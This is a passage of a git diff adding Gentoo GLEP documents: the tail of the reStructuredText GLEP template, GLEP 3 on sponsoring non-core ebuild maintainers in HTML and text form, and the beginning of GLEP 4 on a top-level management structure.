+constructs.
+
+
+Paragraphs
+----------
+
+Paragraphs are left-aligned text blocks separated by blank lines.  Paragraphs
+are not indented unless they are part of an indented construct (such as a
+block quote or a list item).
+
+
+Inline Markup
+-------------
+
+Portions of text within paragraphs and other text blocks may be
+styled.  For example::
+
+    Text may be marked as *emphasized* (single asterisk markup,
+    typically shown in italics) or **strongly emphasized** (double
+    asterisks, typically boldface).  ``Inline literals`` (using double
+    backquotes) are typically rendered in a monospaced typeface.  No
+    further markup recognition is done within the double backquotes,
+    so they're safe for any kind of code snippets.
+
+
+Block Quotes
+------------
+
+Block quotes consist of indented body elements.  For example::
+
+    This is a paragraph.
+
+        This is a block quote.
+
+        A block quote may contain many paragraphs.
+
+Block quotes are used to quote extended passages from other sources.
+Block quotes may be nested inside other body elements.  Use a 4-space tab
+per indent level.
+
+
+Literal Blocks
+--------------
+
+..  
+    In the text below, double backquotes are used to denote inline
+    literals.  "``::``" is written so that the colons will appear in a
+    monospaced font; the backquotes (``) are markup, not part of the
+    text.  See "Inline Markup" above.
+
+    By the way, this is a comment, described in "Comments" below.
+
+Literal blocks are used for code samples or preformatted ASCII art. To
+indicate a literal block, preface the indented text block with
+"``::``" (two colons).  The literal block continues until the end of
+the indentation.  Indent the text block by a tab.  For example::
+
+    This is a typical paragraph.  A literal block follows.
+
+    ::
+
+        for a in [5,4,3,2,1]:   # this is program code, shown as-is
+            print a
+        print "it's..."
+        # a literal block continues until the indentation ends
+
+The paragraph containing only "``::``" will be completely removed from
+the output; no empty paragraph will remain.  "``::``" is also
+recognized at the end of any paragraph.  If immediately preceded by
+whitespace, both colons will be removed from the output.  When text
+immediately precedes the "``::``", *one* colon will be removed from
+the output, leaving only one colon visible (i.e., "``::``" will be
+replaced by "``:``").  For example, one colon will remain visible
+here::
+
+    Paragraph::
+
+        Literal block
+
+
+Lists
+-----
+
+Bullet list items begin with one of "-", "*", or "+" (hyphen,
+asterisk, or plus sign), followed by whitespace and the list item
+body.  List item bodies must be left-aligned and indented relative to
+the bullet; the text immediately after the bullet determines the
+indentation.  For example::
+
+    This paragraph is followed by a list.
+
+    * This is the first bullet list item.  The blank line above the
+      first list item is required; blank lines between list items
+      (such as below this paragraph) are optional.
+
+    * This is the first paragraph in the second item in the list.
+
+      This is the second paragraph in the second item in the list.
+      The blank line above this paragraph is required.  The left edge
+      of this paragraph lines up with the paragraph above, both
+      indented relative to the bullet.
+
+      - This is a sublist.  The bullet lines up with the left edge of
+        the text blocks above.  A sublist is a new list so requires a
+        blank line above and below.
+
+    * This is the third item of the main list.
+
+    This paragraph is not part of the list.
+
+Enumerated (numbered) list items are similar, but use an enumerator
+instead of a bullet.  Enumerators are numbers (1, 2, 3, ...), letters
+(A, B, C, ...; uppercase or lowercase), or Roman numerals (i, ii, iii,
+iv, ...; uppercase or lowercase), formatted with a period suffix
+("1.", "2."), parentheses ("(1)", "(2)"), or a right-parenthesis
+suffix ("1)", "2)").  For example::
+
+    1. As with bullet list items, the left edge of paragraphs must
+       align.
+
+    2. Each list item may contain multiple paragraphs, sublists, etc.
+
+       This is the second paragraph of the second list item.
+
+       a) Enumerated lists may be nested.
+       b) Blank lines may be omitted between list items.
+
+Definition lists are written like this::
+
+    what
+        Definition lists associate a term with a definition.
+
+    how
+        The term is a one-line phrase, and the definition is one
+        or more paragraphs or body elements, indented relative to
+        the term.
+
+
+Tables
+------
+
+Simple tables are easy and compact::
+
+    =====  =====  =======
+      A      B    A and B
+    =====  =====  =======
+    False  False  False
+    True   False  False
+    False  True   False
+    True   True   True
+    =====  =====  =======
+
+There must be at least two columns in a table (to differentiate from
+section titles).  Column spans use underlines of hyphens ("Inputs"
+spans the first two columns)::
+
+    =====  =====  ======
+       Inputs     Output
+    ------------  ------
+      A      B    A or B
+    =====  =====  ======
+    False  False  False
+    True   False  True
+    False  True   True
+    True   True   True
+    =====  =====  ======
+
+Text in a first-column cell starts a new row.  No text in the first
+column indicates a continuation line; the rest of the cells may
+consist of multiple lines.  For example::
+
+    =====  =========================
+    col 1  col 2
+    =====  =========================
+    1      Second column of row 1.
+    2      Second column of row 2.
+           Second line of paragraph.
+    3      - Second column of row 3.
+
+           - Second item in bullet
+             list (row 3, column 2).
+    =====  =========================
+
+
+Hyperlinks
+----------
+
+When referencing an external web page in the body of a GLEP, you should
+include the title of the page in the text, with either an inline
+hyperlink reference to the URL or a footnote reference (see
+`Footnotes`_ below).  Do not include the URL in the body text of the
+GLEP.
+
+Hyperlink references use backquotes and a trailing underscore to mark
+up the reference text; backquotes are optional if the reference text
+is a single word.  For example::
+
+    In this paragraph, we refer to the `Python web site`_.
+
+An explicit target provides the URL.  Put targets in a References
+section at the end of the GLEP, or immediately after the reference.
+Hyperlink targets begin with two periods and a space (the "explicit
+markup start"), followed by a leading underscore, the reference text,
+a colon, and the URL (absolute or relative)::
+
+    .. _Python web site: http://www.python.org/
+
+The reference text and the target text must match (although the match
+is case-insensitive and ignores differences in whitespace).  Note that
+the underscore trails the reference text but precedes the target text.
+If you think of the underscore as a right-pointing arrow, it points
+*away* from the reference and *toward* the target.
+
+The same mechanism can be used for internal references.  Every unique
+section title implicitly defines an internal hyperlink target.  We can
+make a link to the Abstract section like this::
+
+    Here is a hyperlink reference to the `Abstract`_ section.  The
+    backquotes are optional since the reference text is a single word;
+    we can also just write: Abstract_.
+
+Footnotes containing the URLs from external targets will be generated
+automatically at the end of the References section of the GLEP, along
+with footnote references linking the reference text to the footnotes.
+
+Text of the form "GLEP x" or "RFC x" (where "x" is a number) will be
+linked automatically to the appropriate URLs.
+
+
+Footnotes
+---------
+
+Footnote references consist of a left square bracket, a number, a
+right square bracket, and a trailing underscore::
+
+    This sentence ends with a footnote reference [1]_.
+
+Whitespace must precede the footnote reference.  Leave a space between
+the footnote reference and the preceding word.
+
+When referring to another GLEP, include the GLEP number in the body
+text, such as "GLEP 1".  The title may optionally appear.  Add a
+footnote reference following the title.  For example::
+
+    Refer to GLEP 1 [2]_ for more information.
+
+Add a footnote that includes the GLEP's title and author.  It may
+optionally include the explicit URL on a separate line, but only in
+the References section.  Footnotes begin with ".. " (the explicit
+markup start), followed by the footnote marker (no underscores),
+followed by the footnote body.  For example::
+
+    References
+    ==========
+
+    .. [2] GLEP 1, "GLEP Purpose and Guidelines", Goodyear, Warsaw, Hylton
+       (http://glep.gentoo.org/glep-0001.html)
+
+If you decide to provide an explicit URL for a GLEP, please use this as
+the URL template::
+
+    http://glep.gentoo.org/glep-xxxx.html
+
+GLEP numbers in URLs must be padded with zeros from the left, so as to
+be exactly 4 characters wide, however GLEP numbers in the text are
+never padded.
+
+During the course of developing your GLEP, you may have to add, remove,
+and rearrange footnote references, possibly resulting in mismatched
+references, obsolete footnotes, and confusion.  Auto-numbered
+footnotes allow more freedom.  Instead of a number, use a label of the
+form "#word", where "word" is a mnemonic consisting of alphanumerics
+plus internal hyphens, underscores, and periods (no whitespace or
+other characters are allowed).  For example::
+
+    Refer to GLEP 1 [#GLEP-1]_ for more information.
+
+    References
+    ==========
+
+    .. [#GLEP-1] GLEP 1, "GLEP Purpose and Guidelines", Goodyear
+       http://glep.gentoo.org/glep-0001.html
+
+Footnotes and footnote references will be numbered automatically, and
+the numbers will always match.  Once a GLEP is finalized, auto-numbered
+labels should be replaced by numbers for simplicity.
+
+
+Images
+------
+
+If your GLEP contains a diagram, you may include it in the processed
+output using the "image" directive::
+
+    .. image:: diagram.png
+
+Any browser-friendly graphics format is possible: .png, .jpeg, .gif,
+.tiff, etc.
+
+Since this image will not be visible to readers of the GLEP in source
+text form, you should consider including a description or ASCII art
+alternative, using a comment (below).
+
+
+Comments
+--------
+
+A comment block is an indented block of arbitrary text immediately
+following an explicit markup start: two periods and whitespace.  Leave
+the ".." on a line by itself to ensure that the comment is not
+misinterpreted as another explicit markup construct.  Comments are not
+visible in the processed document.  For the benefit of those reading
+your GLEP in source form, please consider including a descriptions of
+or ASCII art alternatives to any images you include.  For example::
+
+     .. image:: dataflow.png
+
+     ..
+        Data flows from the input module, through the "black box"
+        module, and finally into (and through) the output module.
+
+
+
+Escaping Mechanism
+------------------
+
+reStructuredText uses backslashes ("``\``") to override the special
+meaning given to markup characters and get the literal characters
+themselves.  To get a literal backslash, use an escaped backslash
+("``\\``").  There are two contexts in which backslashes have no
+special meaning: `literal blocks`_ and inline literals (see `Inline
+Markup`_ above).  In these contexts, no markup recognition is done,
+and a single backslash represents a literal backslash, without having
+to double up.
+
+If you find that you need to use a backslash in your text, consider
+using inline literals or a literal block instead.
+
+
+Habits to Avoid
+===============
+
+Many programmers who are familiar with TeX often write quotation marks
+like this::
+
+    `single-quoted' or ``double-quoted''
+
+Backquotes are significant in reStructuredText, so this practice
+should be avoided.  For ordinary text, use ordinary 'single-quotes' or
+"double-quotes".  For inline literal text (see `Inline Markup`_
+above), use double-backquotes::
+
+    ``literal text: in here, anything goes!``
+
+
+Resources
+=========
+
+Many other constructs and variations are possible.  For more details
+about the reStructuredText markup, in increasing order of
+thoroughness, please see:
+
+* `A ReStructuredText Primer`__, a gentle introduction.
+
+  __ http://docutils.sourceforge.net/docs/rst/quickstart.html
+
+* `Quick reStructuredText`__, a users' quick reference.
+
+  __ http://docutils.sourceforge.net/docs/rst/quickref.html
+
+* `reStructuredText Markup Specification`__, the final authority.
+
+  __ http://docutils.sourceforge.net/spec/rst/reStructuredText.html
+
+The processing of reStructuredText GLEPs is done using Docutils_.  If
+you have a question or require assistance with reStructuredText or
+Docutils, please `post a message`_ to the `Docutils-Users mailing
+list`_.  The `Docutils project web site`_ has more information.
+
+.. _Docutils: http://docutils.sourceforge.net/
+.. _post a message:
+   mailto:docutils-users@lists.sourceforge.net?subject=GLEPs
+.. _Docutils-Users mailing list:
+   http://lists.sourceforge.net/lists/listinfo/docutils-users
+.. _Docutils project web site: http://docutils.sourceforge.net/
+
+
+References
+==========
+
+.. [#PYTHON] http://www.python.org
+
+.. [#PEP12] http://www.python.org/peps/pep-0012.html
+
+.. [#GLEP1] GLEP 1, GLEP Purpose and Guidelines, Goodyear, 
+   (http://glep.gentoo.org/glep-0001.html)
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0003.html b/xml/htdocs/proj/en/glep/glep-0003.html
new file mode 100644
index 00000000..630cc39b
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0003.html
@@ -0,0 +1,164 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+
+<head>
+  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+  <meta name="generator" content="Docutils 0.4: http://docutils.sourceforge.net/" />
+  <title>GLEP 3 -- Ebuild maintainter extension GLEP</title>
+  <link rel="stylesheet" href="tools/glep.css" type="text/css" />
+</head>
+<body bgcolor="white">
+<table class="navigation" cellpadding="0" cellspacing="0"
+       width="100%" border="0">
+<tr><td class="navicon" width="150" height="35">
+<a href="http://www.gentoo.org/" title="Gentoo Linux Home Page">
+<img src="http://www.gentoo.org/images/gentoo-new.gif" alt="[Gentoo]"
+ border="0" width="150" height="35" /></a></td>
+<td class="textlinks" align="left">
+[<b><a href="http://www.gentoo.org/">Gentoo Linux Home</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep">GLEP Index</a></b>]
+[<b><a href="http://www.gentoo.org/proj/en/glep/glep-0003.txt">GLEP Source</a></b>]
+</td></tr></table>
+<table class="rfc2822 docutils field-list" frame="void" rules="none">
+<col class="field-name" />
+<col class="field-body" />
+<tbody valign="top">
+<tr class="field"><th class="field-name">GLEP:</th><td class="field-body">3</td>
+</tr>
+<tr class="field"><th class="field-name">Title:</th><td class="field-body">Ebuild maintainter extension GLEP</td>
+</tr>
+<tr class="field"><th class="field-name">Version:</th><td class="field-body">1.2</td>
+</tr>
+<tr class="field"><th class="field-name">Last-Modified:</th><td class="field-body"><a class="reference" href="http://www.gentoo.org/cgi-bin/viewcvs.cgi/xml/htdocs/proj/en/glep/glep-0003.txt?cvsroot=gentoo">2003/08/20 02:32:05</a></td>
+</tr>
+<tr class="field"><th class="field-name">Author:</th><td class="field-body">Caleb Tennis &lt;caleb&#32;&#97;t&#32;gentoo.org&gt;</td>
+</tr>
+<tr class="field"><th class="field-name">Status:</th><td class="field-body">Deferred</td>
+</tr>
+<tr class="field"><th class="field-name">Type:</th><td class="field-body">Standards Track</td>
+</tr>
+<tr class="field"><th class="field-name">Content-Type:</th><td class="field-body"><a class="reference" href="glep-0002.html">text/x-rst</a></td>
+</tr>
+<tr class="field"><th class="field-name">Created:</th><td class="field-body">09-Jun-2003</td>
+</tr>
+<tr class="field"><th class="field-name">Post-History:</th><td class="field-body">10-Jun-2003</td>
+</tr>
+</tbody>
+</table>
+<hr />
+<div class="contents topic">
+<p class="topic-title first"><a id="contents" name="contents">Contents</a></p>
+<ul class="simple">
+<li><a class="reference" href="#abstract" id="id1" name="id1">Abstract</a></li>
+<li><a class="reference" href="#motivation" id="id2" name="id2">Motivation</a></li>
+<li><a class="reference" href="#rationale" id="id3" name="id3">Rationale</a></li>
+<li><a class="reference" href="#backwards-compatibility" id="id4" name="id4">Backwards Compatibility</a></li>
+<li><a class="reference" href="#implementation" id="id5" name="id5">Implementation</a></li>
+<li><a class="reference" href="#security" id="id6" name="id6">Security</a></li>
+<li><a class="reference" href="#future" id="id7" name="id7">Future</a></li>
+<li><a class="reference" href="#references" id="id8" name="id8">References</a></li>
+<li><a class="reference" href="#copyright" id="id9" name="id9">Copyright</a></li>
+</ul>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id1" id="abstract" name="abstract">Abstract</a></h1>
+<p>Gentoo's portage tree attempts to provide a self contained, easy to use, and
+automatic installation procedure for as many packages as can be maintained by
+developers.</p>
+<p>This GLEP proposes allowing non-core Gentoo developers to be considered as
+ebuild maintainers sponsored via a core Gentoo developer.  This system will
+allow more ebuilds to be available in portage with active maintainers for
+those ebuilds.</p>
+<p>This GLEP only applies to EBUILD based bugs that contain a request for a
+package to be committed or version bumped within portage.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id2" id="motivation" name="motivation">Motivation</a></h1>
+<p>As of the first draft of this GLEP, there are 1387 EBUILD bug requests in
+Gentoo's bugzilla database.  Many of these requests contain ebuilds that
+have been submitted by the bug reporter and are simply awaiting a Gentoo
+developer to sponsor the submittal of the ebuild.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id3" id="rationale" name="rationale">Rationale</a></h1>
+<p>Gentoo's portage tree already contains the most popular ebuilds for packages
+available today.  Many teams exist that are responsible for maintaining these
+core ebuilds in the portage tree.  But, for ebuilds that are not as commonly
+used, there is no good focal point upon which to rest these ebuilds.</p>
+<p>For example, any submitted ebuild that is a KDE application gets routed to the
+KDE team.  However, the KDE team may be unfamiliar with the submitted ebuild.
+A new graphical MySQL editor may be submitted to the MYSQL team, but none of
+the members of that team may be familiar or have the desire to learn a new
+program to submit it to portage.</p>
+<p>We want to be able to provide for as many ebuilds in portage as feasible and
+make sure that all ebuilds have some person who is responsible for
+maintenance.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id4" id="backwards-compatibility" name="backwards-compatibility">Backwards Compatibility</a></h1>
+<p>No current policies exist that interfere with this document.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id5" id="implementation" name="implementation">Implementation</a></h1>
+<p>Incoming ebuild bug reports should continue to be processed as normal.</p>
+<p>Bug reports that <em>do not</em> contain an attached ebuild should be marked as
+NEEDINFO.  A message asking the user to create and submit an ebuild should be
+attached to the bug.</p>
+<p>Bug reports that <em>do</em> have an attached ebuild should be responded to with
+a message asking if the reporter agrees to provide maintence and support for
+the ebuild and package.</p>
+<p>If a reporter <em>does not</em> agree to provide package maintence, the bug report
+should be marked WONTFIX.</p>
+<p>If a reporter <em>does</em> agree to provide package support, the ebuild should
+be added to portage with a note in the ChangeLog that the reporter is
+considered the maintainer of that particular ebuild.</p>
+<p>Any incoming bug reports that are related to this ebuild should continue to
+get processed as normal.  The team that the ebuild goes to should then CC the
+author of the ebuild.  Optionally, if a docs-team member has prior knowledge
+that the ebuild is externally maintained, he/she can add that person to the CC
+list.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id6" id="security" name="security">Security</a></h1>
+<p><strong>At the very least</strong>, all ebuilds must be looked over by the developer
+handling the commit.</p>
+<p>In no case should a submitted digest file be used.  The developer is
+responsible for creating the digest file based on an actual download of the
+source code.</p>
+<p>Potential breaches in security can still exist, however.  The developer
+handling the installation should take every step to ensure that no ebuild,
+package, or other files have been compromised.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id7" id="future" name="future">Future</a></h1>
+<p>Current proposals to rethink Gentoo portage and bug handling (a.k.a Herds) are
+still in negotiation.  It is the intention of the author of this GLEP to evolve
+the concept of this GLEP as the Herds concept matures and stabilizes.</p>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id8" id="references" name="references">References</a></h1>
+<table class="docutils footnote" frame="void" id="glep2" rules="none">
+<colgroup><col class="label" /><col /></colgroup>
+<tbody valign="top">
+<tr><td class="label"><a name="glep2">[1]</a></td><td>GLEP 2, Sample ReStructuredText GLEP Template, Goodyear,
+(<a class="reference" href="http://glep.gentoo.org/glep-0002.html">http://glep.gentoo.org/glep-0002.html</a>)</td></tr>
+</tbody>
+</table>
+</div>
+<div class="section">
+<h1><a class="toc-backref" href="#id9" id="copyright" name="copyright">Copyright</a></h1>
+<p>This document has been placed in the public domain.</p>
+</div>
+
+</div>
+<div class="footer">
+<hr class="footer" />
+<a class="reference" href="glep-0003.txt">View document source</a>.
+Generated on: 2007-10-13 13:39 UTC.
+Generated by <a class="reference" href="http://docutils.sourceforge.net/">Docutils</a> from <a class="reference" href="http://docutils.sourceforge.net/rst.html">reStructuredText</a> source.
+
+</div>
+</body>
+</html>
+
diff --git a/xml/htdocs/proj/en/glep/glep-0003.txt b/xml/htdocs/proj/en/glep/glep-0003.txt
new file mode 100644
index 00000000..5504be5b
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0003.txt
@@ -0,0 +1,123 @@
+GLEP: 3
+Title: Ebuild maintainter extension GLEP
+Version: $Revision: 1.2 $
+Last-Modified: $Date: 2003/08/20 02:32:05 $
+Author:	Caleb Tennis <caleb@gentoo.org>
+Status: Deferred
+Type: Standards Track
+Content-Type: text/x-rst
+Created: 09-Jun-2003
+Post-History: 10-Jun-2003
+
+
+Abstract
+========
+
+Gentoo's portage tree attempts to provide a self contained, easy to use, and
+automatic installation procedure for as many packages as can be maintained by
+developers.
+
+This GLEP proposes allowing non-core Gentoo developers to be considered as
+ebuild maintainers sponsored via a core Gentoo developer.  This system will
+allow more ebuilds to be available in portage with active maintainers for
+those ebuilds.
+
+This GLEP only applies to EBUILD based bugs that contain a request for a
+package to be committed or version bumped within portage.
+
+Motivation
+==========
+
+As of the first draft of this GLEP, there are 1387 EBUILD bug requests in
+Gentoo's bugzilla database.  Many of these requests contain ebuilds that
+have been submitted by the bug reporter and are simply awaiting a Gentoo
+developer to sponsor the submittal of the ebuild.
+
+
+
+Rationale
+=========
+
+Gentoo's portage tree already contains the most popular ebuilds for packages
+available today.  Many teams exist that are responsible for maintaining these
+core ebuilds in the portage tree.  But, for ebuilds that are not as commonly
+used, there is no good focal point upon which to rest these ebuilds.
+
+For example, any submitted ebuild that is a KDE application gets routed to the
+KDE team.  However, the KDE team may be unfamiliar with the submitted ebuild.
+A new graphical MySQL editor may be submitted to the MYSQL team, but none of
+the members of that team may be familiar or have the desire to learn a new
+program to submit it to portage.
+
+We want to be able to provide for as many ebuilds in portage as feasible and
+make sure that all ebuilds have some person who is responsible for
+maintenance.
+
+
+Backwards Compatibility
+=======================
+
+No current policies exist that interfere with this document.
+
+
+Implementation
+==============
+
+Incoming ebuild bug reports should continue to be processed as normal.
+
+Bug reports that *do not* contain an attached ebuild should be marked as
+NEEDINFO.  A message asking the user to create and submit an ebuild should be
+attached to the bug.
+
+Bug reports that *do* have an attached ebuild should be responded to with
+a message asking if the reporter agrees to provide maintence and support for
+the ebuild and package.
+
+If a reporter *does not* agree to provide package maintence, the bug report
+should be marked WONTFIX.
+
+If a reporter *does* agree to provide package support, the ebuild should
+be added to portage with a note in the ChangeLog that the reporter is
+considered the maintainer of that particular ebuild.
+
+Any incoming bug reports that are related to this ebuild should continue to
+get processed as normal.  The team that the ebuild goes to should then CC the
+author of the ebuild.  Optionally, if a docs-team member has prior knowledge
+that the ebuild is externally maintained, he/she can add that person to the CC
+list.
+
+Security
+========
+
+**At the very least**, all ebuilds must be looked over by the developer
+handling the commit.
+
+In no case should a submitted digest file be used.  The developer is
+responsible for creating the digest file based on an actual download of the
+source code.
+
+Potential breaches in security can still exist, however.  The developer
+handling the installation should take every step to ensure that no ebuild,
+package, or other files have been compromised.
+
+
+Future
+======
+
+Current proposals to rethink Gentoo portage and bug handling (a.k.a Herds) are
+still in negotiation.  It is the intention of the author of this GLEP to evolve
+the concept of this GLEP as the Herds concept matures and stabilizes.
+
+
+References
+==========
+
+.. [#GLEP2] GLEP 2, Sample ReStructuredText GLEP Template, Goodyear,
+   (http://glep.gentoo.org/glep-0002.html)
+
+
+Copyright
+=========
+
+This document has been placed in the public domain.
+
diff --git a/xml/htdocs/proj/en/glep/glep-0004.xml b/xml/htdocs/proj/en/glep/glep-0004.xml
new file mode 100644
index 00000000..c6623bdb
--- /dev/null
+++ b/xml/htdocs/proj/en/glep/glep-0004.xml
@@ -0,0 +1,547 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="/proj/en/glep/glep-0004.xml">
+
+<title>Gentoo top-level management structure proposal</title>
+<author title = "Author">
+<mail link = "drobbins@gentoo.org">Daniel Robbins</mail></author>
+<author title = "Editor">
+<mail link = "klieber@gentoo.org">Kurt Lieber</mail></author>
+
+<abstract>Gentoo top-level management structure proposal</abstract>
+<version>1.0</version>
+<date>24 Jun 2003</date>
+
+  <chapter>
+		<title>GLEP Accepted and Superceded</title>
+		<section>
+			<body>
+				<note>This GLEP has been accepted, and it remains here solely
+				for historical purposes.  To see the current Gentoo top-level
+				management structure, please visit
+				<uri>http://www.gentoo.org/doc/en/management-structure.xml</uri>.
+				</note>
+			</body>
+		</section>
+	</chapter>
+
+
+
+  <chapter>
+		<title>GLEP Header</title>
+		<section>
+			<body>
+				<table>
+					<tr>
+						<ti><b>GLEP:</b></ti>
+						<ti>4</ti>
+					</tr>
+					<tr>
+						<ti><b>Title:</b></ti>
+						<ti>Gentoo top-level management structure proposal</ti>
+					</tr>
+					<tr>
+						<ti><b>Version</b></ti>
+						<ti> $Revision: 1.5 $ </ti>
+					</tr>
+					<tr>
+						<ti><b>Last-Modified:</b></ti>
+						<ti> $Date: 2007/12/19 04:11:00 $ </ti>
+					</tr>
+					<tr>
+						<ti><b>Author:</b></ti>
+						<ti> Daniel Robbins &lt;drobbins@gentoo.org&gt; </ti>
+					</tr>
+					<tr>
+						<ti><b>Status:</b></ti>
+						<ti>Moribound</ti>
+					</tr>
+					<tr>
+						<ti><b>Content-Type:</b></ti>
+						<ti>text/xml</ti>
+					</tr>
+					<tr>
+						<ti><b>Created:</b></ti>
+						<ti>24-Jun-2003</ti>
+					</tr>
+					<tr>
+						<ti><b>Post-History:</b></ti>
+						<ti>30-Jun-2003</ti>
+					</tr>
+				</table>
+			</body>
+		</section>
+	</chapter>
+
+
+  <chapter>
+		<title>Gentoo top-level management structure proposal, DRAFT</title>
+		<section>
+			<title>What is the purpose of this proposal?</title>
+			<body>
+
+
+<p>
+The purpose of this proposal is to solve chronic management, coordination
+and communication issues in the Gentoo project. In particular, currently we
+have no clearly defined top-level management structure, and no official,
+regular meetings to communicate status updates between developers serving
+in critical roles. In general, most communication takes place on irc and
+irregularly via email. There is also little to no accountability, even
+at a high level, to complete projects on time.
+</p>
+
+
+<p>
+Because of this current state of affairs, it is difficult to set goals and
+track the status of projects. This lack of communication and coordination
+also makes it difficult for top-level developers to manage their own
+projects. In addition, we have the other chronic problem of not having
+clearly-defined roles and scopes of executive decision-making authority for
+top-level developers, which results in many top-level developers doubting
+that they even have the authority to manage their own projects and
+sub-projects. While this has *never* been the intention of top-level
+developers, it is the unfortunate result of an unstructured development
+process: no one knows what is going on, and everyone defers to the Chief
+Architect for all executive decisions.
+</p>
+
+
+<p>
+Clearly, a plan is needed to swiftly and permanently address these issues by
+increasing communication, coordination, and accountability. Roles and scopes
+of executive decision-making authority need to be defined for top developers
+so that they have a clear mandate as well as accountability to manage their
+projects and thus ensure their projects complete their appointed work
+efficiently and on-schedule.
+</p>
+
+			</body>
+	
+		</section>
+		<section>
+			<title>How do we fix this?</title>
+
+			<body>
+
+
+<p>
+This proposal suggests fixing this issue by creating an official top-level
+management structure. This management structure will consist of the chief
+architect and a group of developers that will be given the title of
+"Top-level managers." Top-level managers will be accountable for the
+projects they manage, and be responsible for communicating the status of
+their projects to the rest of the top-level managers and chief architect,
+among other things detailed later in this document.
+</p>
+
+
+<p> All the top-level projects in the Gentoo project will be clearly
+defined, including with goals, sub-projects, members, roadmap and schedules.
+The "Hardened Gentoo" page at
+<uri>http://www.gentoo.org/proj/en/hardened/</uri> is an excellent example of
+such a top-level project definition.  </p>
+
+
+<p>
+Certain executive decision-making authority will be granted to these
+projects, as agreed upon by the top-level managers and project members.
+Then, a top-level manager or managers will be officially adopt projects.
+These managers will be responsible for tracking the status of the project,
+ensuring that the project meets targets and is generally managed properly.
+Manager responsibilities are described in detail later in this document.
+</p>
+
+
+<p>
+The operational manager of each top-level project will also be responsible
+to report the status of the project in regular weekly status meetings in
+which all top-level managers will participate. This regular communication
+will allow proper coordination, goal-setting and scheduling to take place.
+</p>
+
+
+
+			</body>
+		</section>
+		<section>
+			<title>Types of management</title>
+			<body>
+
+
+<p>
+For top-level projects, there are currently two possible types of managers.
+Each project must have at least one manager of each type, although one
+person may serve both roles.  The first type of manager is the operational
+manager, who is granted executive authority for the day-to-day running of
+the project. Because this person is directly involved in the day-to-day
+running of the project, this person has the responsibility to communicate
+project status to the rest of the top-level management team.
+</p>
+
+
+<p>
+The other type of manager is the strategic manager. The tactical manager has
+executive decision-making authority over the long-term strategic direction
+of the project. This manager's involvement in the day-to-day operations of
+the project is limited. Both strategic and operational management are equally
+important for a successful project.
+</p>
+			</body>
+</section>
+<section>
+	<title>Management team</title>
+	<body>
+	<p>Proposed initial top-level management team is as follows (in no
+	particular order):</p>
+	<ul>
+	<li>Seemant Kulleen (seemant)</li>
+	<li>Jay Pfeifer (pfeifer)</li>
+	<li>Joshua Brindle (method)</li>
+	<li>Kurt Lieber (klieber)</li>
+	<li>Nick Jones (carpaski)</li>
+	<li>Pieter Van den Abeele (pvdabeel)</li>
+	<li>Jon Portnoy (avenj)</li>
+	</ul>
+	<p>In addition to Daniel Robbins, serving as Chief Architect.</p>
+	</body>
+</section>
+<section>
+<title>Management charter</title>
+<body>
+
+<p>
+1) Constructive, professional communication: All communication should be
+focused on improving the management of Gentoo projects, should be
+constructive in nature and should be shared in a friendly, professional
+manner.
+</p>
+
+
+<p>
+2) Accountability to peers: Allow fellow members of this list to hold us
+accountable to follow-through on projects and meet deadlines. Keep fellow
+members accountable.
+</p>
+
+
+<p>
+3) Management of projects: empower managers to have the authority and
+strategic direction necessary to properly manage thier projects and efforts
+to ensure projects complete their appointed work on time.
+</p>
+
+
+<p>
+4) Results: our expectation is that our efforts, when properly executed,
+will result in the Gentoo project's ability to meet deadlines, have much
+better communication and coordination throughout the entire project, higher
+overall quality and a more positive experience for all.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Manager responsibilities</title>
+<body>
+
+<p>
+Every top-level Gentoo project will have a clearly defined scope, and
+clearly defined and explicit executive decision-making authority that will
+be granted to managers of the project to exercise and/or delegate as they
+see fit. Both the scope and any necessary decision-making authority must be
+agreed upon by both the chief architect and project members. The scope and
+executive authority of a project can be expanded over time as required as
+approved by the top level managers.
+</p>
+
+
+<p>
+In addition to decision-making authority, managers have the following
+responsibilities:
+</p>
+
+<ol>
+<li>Keep a complete list of all projects and efforts you are managing,
+and associated gentoo.org project page up-to-date
+</li>
+
+<li>
+Manage and track the status of these efforts. This includes active
+direction as well as passive tracking of progress.
+</li>
+
+<li>
+Define clear goals, roadmaps and timelines (preliminary if necessary) for
+every effort.
+</li>
+
+<li>Proactively identify efforts that have problems and need help.
+</li>
+
+<li>Ensure that your efforts are completed on-time, or that any efforts that
+are behind-schedule are reported in a timely manner.</li>
+
+<li>Remain focused. Make sure that you are not managing more than you can
+handle.</li>
+
+<li>Fulfill formal communication and coordination responsibilities required by
+top-level managers (weekly meetings, etc.)</li>
+
+<li>Fulfill formal communication and coordination responsibilities required
+by individual efforts (project meetings, communication with project members,
+etc.) This is *important* -- our management of projects means that we
+have the responsibility not only to communicate with our peers but
+also those who we are managing. This communication should be frequent,
+have a formal component (planned meetings, official status updates,
+etc.) and model good management practices to members of our teams.
+</li>
+
+<li>
+<b>RECURSIVE FUNCTIONALITY</b>: At an appropriate time, implement these management
+practices for *sub*-projects (define managers, clear sub-project goals,
+grant executive authority) with you serving as primary authority.
+</li>
+</ol>
+</body>
+</section>
+<section>
+<title>gentoo-managers list</title>
+<body>
+
+<p>
+The gentoo-managers list will be created as the official email communications
+channel for all top-level Gentoo Linux managers.
+</p>
+
+
+<p>
